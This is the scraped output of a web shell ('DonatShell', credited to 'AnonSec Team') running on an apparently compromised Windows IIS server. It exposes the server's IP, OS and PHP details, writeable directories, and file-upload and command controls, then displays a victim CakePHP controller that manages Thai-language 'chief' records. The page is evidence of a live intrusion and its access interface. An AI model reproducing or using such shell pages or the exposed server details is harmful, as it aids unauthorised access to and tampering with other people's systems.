DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.194
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/Controller/ChiefsController.php
<?php
App::uses('AppController', 'Controller');
/**
 * Chiefs Controller
 *
 * @property Chief $Chief
 * @property PaginatorComponent $Paginator
 */
class ChiefsController extends AppController {

    private function __getCommonConditions(&$conditions, &$keyword = null, &$positionId = null) {
        if ( isset($this->params->query['keyword']) && !empty($this->params->query['keyword']) ) {
            $keyword = $this->params->query['keyword'];
            $conditions['OR'] = array(
                'Chief.name LIKE' => '%' . $keyword . '%',
                'Chief.note LIKE' => '%' . $keyword . '%',
            );
        }

        if ( isset($this->params->query['position_id'])
            && !empty($this->params->query['position_id']) ) {
            $positionId = $this->params->query['position_id'];
            $conditions['AND'] = array(
                'Chief.position_id' => $positionId
            );
        }
    }

    /**
     * list all `chiefs` data
     *
     * @author 3Musketeers <3musketeersteam@gmail.com>
     * @since 28 September 2013
     */
    public function admin_index() {
        $conditions = array();
        $keyword = '';
        $positionId = '';

        $this->__getCommonConditions($conditions, $keyword, $positionId);

        $this->Paginator->settings['conditions'] = $conditions;
        $this->Chief->recursive = 0;
        $this->set('chiefs', $this->Paginator->paginate());
        $this->set('topicTitle', __('ประธานกิจกรรม'));

        $this->set('positions', $this->Chief->Position->find('list'));
        $this->set('keyword', $keyword);
        $this->set('position_id', $positionId);
    }

    /**
     * Add new `chief` with `position`
     *
     * @author 3Musketeers <3musketeersteam@gmail.com>
     * @since 28 September 2013
     */
    public function admin_add() {

        if ( $this->request->is('post') ) {
            $this->Chief->create();
            if ( !$this->Chief->save($this->request->data) ) {
                $this->Session->setFlash(__('ไม่สามารถเพิ่มข้อมูลประธานกิจกรรมได้ กรุณาลองใหม่อีกครั้ง'), 'flash-fail');
                $this->redirect(array('action' => 'index', 'admin' => ture));
            }

            $this->Session->setFlash(__('บันทึกข้อมูลประธานกิจกรรมสำเร็จ'), 'flash-success');
            $this->redirect(array('action' => 'index', 'admin' => true));
        }

        //Find all `positions`
        $this->set('positions', $this->Chief->Position->find('list'));
        $this->set('topicTitle', __('เพิ่มประธานกิจกรรม'));
    }

    /**
     * Edit `chief` information
     *
     * @throws NotFoundException if not found any record.
     * @param string $id id of chief
     * @author 3Musketeers <3musketeersteam@gmail.com>
     * @since 28 September 2013
     */
    public function admin_edit( $id = null ) {

        if (!$this->Chief->exists($id)) {
            throw new NotFoundException(__('ไม่พบข้อมูลประธาน'));
        }

        if ( $this->request->is('post') || $this->request->is('put') ) {
            $this->Chief->id = $id;
            if ( !$this->Chief->save($this->request->data) ) {
                $this->Session->setFlash(__('ไม่สามารถบันทึกข้อมูลประธานกิจกรรมได้ กรุณาลองใหม่อีกครั้ง'), 'flash-fail');
                $this->redirect(array('action' => 'index', 'admin' => true));
            }

            $this->Session->setFlash(__('บันทึกข้อมูลประธานสำเร็จ'), 'flash-success');
            $this->redirect(array('action' => 'index', 'admin' => true));

        }

        //Find `chief` information and `position` information.
        $this->Chief->recursive = -1;
        $chief = $this->Chief->findById($id);
        $this->set('chief', $chief);
        $this->set('positions', $this->Chief->Position->find('list'));
        $this->set('topicTitle', __('แก้ไขข้อมูล: ') . $chief['Chief']['name']);
    }

    /**
     * Remove `chief` information actually just set `is_activated` to false in `AppModel::delete()`
     *
     * @throws NotFoundException if not found any record
     * @param string $id id of chief
     * @author 3Musketeers <3musketeersteam@gmail.com>
     * @since 28 September 2013
     */
    public function admin_delete( $id = null ) {
        $this->Chief->id = $id;
        if (!$this->Chief->exists()) {
            throw new NotFoundException(__('Invalid chief'));
        }
        //Allowed only `post` method.
        $this->request->onlyAllow('post', 'delete');

        if ( !$this->Chief->delete() ) {
            $this->Session->setFlash(__('ไม่สามารถลบ้ข้อมูลประธานกิจกรรมได้ กรุณาลองใหม่อีกครั้ง'), 'flash-fail');
            $this->redirect(array('action' => 'index', 'admin' => true));
        }

        $this->Session->setFlash(__('ลบข้อมูล chief สำเร็จ'), 'flash-success');
        $this->redirect(array('action' => 'index', 'admin' => true));
    }

    public function admin_export() {
        Configure::write('debug',0); // just in case

        $this->autoRender = false; // thanks, but no.

        $modelName = $this->modelClass;
        $conditions = array();
        $this->__getCommonConditions($conditions);

        // Find fields needed without recursing through associated models
        $data = $this->{$modelName}->find('all',
            array(
                'conditions' => $conditions,
                'order' => $modelName . '.id ASC',
                'recursive' => 0
        ));

        // Define column headers for CSV file, in same array format as the data itself
        $headers = array(
            $modelName => array(
                'id' => __('รหัส'),
                'name' => __('ชื่อ'),
                'position' => __('สถานะที่เกี่ยวข้องกับ กสม.'),
                'note' => __('หมายเหตุ'),
                'created' => __('วันที่เพิ่มข้อมูล'),
                'modified' => __('แก้ไขล่าสุด')
            )
        );

        // $roles = array();
        foreach ( $data as &$d ) {
            $d = array(
                $modelName => array(
                    'id' => $d['Chief']['id'],
                    'name' => $d['Chief']['name'],
                    'position' => $d['Position']['name'],
                    'note' => $d['Chief']['note'],
                    'created' => $d['Chief']['created'],
                    'modified' => $d['Chief']['modified']
                )
            );
        }
        $this->set('model', $modelName);

        // Add headers to start of data array
        if ( $this->request->params['ext'] == 'csv' ) {
            // Add headers to start of data array
            array_unshift($data, $headers);
            // Make the data available to the view (and the resulting CSV file)
            $this->set(compact('data'));
            $this->render('/Elements/csv/admin_export', false);
        } else {
            $this->set('topicTitle', __('ประธานกิจกรรม'));
            $this->_renderPdf($data, 'admin_export');
        }
    }
}

Anon7 - 2022
AnonSec Team